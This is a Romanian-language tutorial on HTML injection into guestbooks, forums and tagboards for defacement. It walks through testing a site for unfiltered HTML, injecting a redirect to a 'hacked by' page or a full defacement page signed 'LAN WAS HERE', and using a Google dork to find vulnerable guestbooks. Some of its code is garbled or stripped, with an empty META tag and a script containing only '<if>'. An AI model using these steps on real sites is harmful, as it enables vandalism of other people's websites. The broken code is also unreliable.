html inject

Este o tecnica care se bazeaza prin includerea sau injectarea codului
intrun forum tacoard,etc, numai daca esta habilitat optiunea html

Unelte
Numa un rudimentar cod de proba

Procediment
Cautam un forum,tagboard,carte de vizita.Cel mai probabil
cu o carte de vizita, pentru ca sunt cele mai vulnerabile la "inject html".
Supunem ca esti intro carte de vizita dar cum stim daca
este vulnerabil?... Scriind un simplu cod html in
aria mesajului cum ar fi asta :salut
Cu asta aflam: daca mesajul care l-am scris se pune de cuoare
rosie si apare cat de cat mare inseamna ca e vulnerabil
si stim ca acolo putem face ceva,urmatorul fapt care il vom face
deja cand stim ca e vulnerabil putem face numeroase lucruri
Cum ar fi:
Sa includem codul urmator:
<META>
-->Acest cod face sa redirectionam aceasta pagina la alta
Unde: [www.web.com/hacked.htm]
este pagina unde va fi redirectionata sau url unde tu
vei avea indexul tau cu "hacked by x" sau ce o fi...

Dar daca carte te vizita permite sa scriem mult "text" putem
include direct codul nostru de hacked...
Cum ar fi>

<html>
<head>
<STYLE>
BODY {
SCROLLBAR-FACE-COLOR: #000000;
SCROLLBAR-HIGHLIGHT-COLOR: #000000;
SCROLLBAR-SHADOW-COLOR: #000000;
SCROLLBAR-3DLIGHT-COLOR: #000000;
SCROLLBAR-ARROW-COLOR: #ffffff;
SCROLLBAR-TRACK-COLOR: #ffffff;
FONT-FAMILY: Verdana;
SCROLLBAR-DARKSHADOW-COLOR: #000000
</STYLE>
<title>Lan was here :.</title>
</head>
<body>
<div>
LAN WAS HERE

<img>
</div>
 
Mexi
co



Lan[at]gobiernofederal[dot]com 
 
Www.rst/crew.net
</body></html>

Putem pune si aceasta archiva la acest cod Javascript
<SCRIPT>
<if>
</SCRIPT>

Acel JavaScript face ca kacking/ul nostru sa se conectee prima data

NOTAS
Sunt infinite carti de vizita vulnerabile,cum ar fi cartile de vizita cgi,
ca sa le gasesti cauti in google ceva de gen allinurl:"addguest.php"
Aceasta metoda este ceva simplu dar nu te opri aici.